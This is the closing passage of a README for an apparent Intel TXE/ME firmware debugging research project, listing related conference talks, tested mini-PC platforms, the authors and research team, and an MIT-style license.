CCA-SVT](https://designintools.intel.com/Silicon_View_Technology_Closed_Chassis_Adapter_p/itpxdpsvt.htm) adapter and allows debugging the earliest stages of the TXE core via an ordinary *USB debug cable*. 315 | 316 | 317 | ## Related URLs: 318 | 319 | [Intel ME: The Way of the Static Analysis][4] 320 | 321 | [Intel DCI Secrets][5] 322 | 323 | [Intel ME: Flash File System Explained][6] 324 | 325 | [How to Hack a Turned-Off Computer or Running Unsigned Code in Intel Management Engine][7] 326 | 327 | [Inside Intel Management Engine][8] 328 | 329 | [Disabling Intel ME 11 via undocumented mode][9] 330 | 331 | ## Tested Platforms List 332 | 333 | * Gigabyte Mini-PC Barebone (BRIX) GB-BPCE-3350C (rev:1.1, 1.2) 334 | * Beelink M1 335 | * [MinisForum N33](https://github.com/HackingThings/MinisForum_N33_JTAG) Mini PC - 2021 336 | * UP Squared Intel Atom® x7-E3950 [SKU UPS-APLX7-A20-0864](https://up-shop.org/up-squared-series.html) - 2022 337 | * UP 4000 Intel Atom® x7-E3950 [SKU UP-APL03X7F-A10-0464](https://up-shop.org/up4000series.html) - 2022 338 | 339 | 340 | # Authors 341 | Mark Ermolov ([@\_markel___][1]) 342 | 343 | Maxim Goryachy ([@h0t_max][2]) 344 | 345 | ### README.md update for Intel System Studio 2020 & UP Squared hardware 346 | 347 | Xeno Kovah ([@XenoKovah][10]) 348 | 349 | # Research Team 350 | 351 | Mark Ermolov ([@\_markel___][1]) 352 | 353 | Maxim Goryachy ([@h0t_max][2]) 354 | 355 | Dmitry Sklyarov ([@_Dmit][3]) 356 | 357 | 358 | # License 359 | Copyright (c) 2018 Mark Ermolov, Maxim Goryachy at Positive Technologies 360 | 361 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 362 | 363 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 364 | 365 | 366 | 367 | [1]: https://twitter.com/_markel___ 368 | [2]: https://twitter.com/h0t_max 369 | [3]: https://twitter.com/_Dmit 370 | [4]: https://www.troopers.de/troopers17/talks/772-intel-me-the-way-of-the-static-analysis/ 371 | [5]: http://conference.hitb.org/hitbsecconf2017ams/sessions/commsec-intel-dci-secrets/ 372 | [6]: https://www.blackhat.com/docs/eu-17/materials/eu-17-Sklyarov-Intel-ME-Flash-File-System-Explained-wp.pdf 373 | [7]: https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf 374 | [8]: https://github.com/ptresearch/IntelME-JTAG 375 | [9]: http://blog.ptsecurity.com/2017/08/disabling-intel-me.html 376 | [10]: https://twitter.com/XenoKovah 377 | --------------------------------------------------------------------------------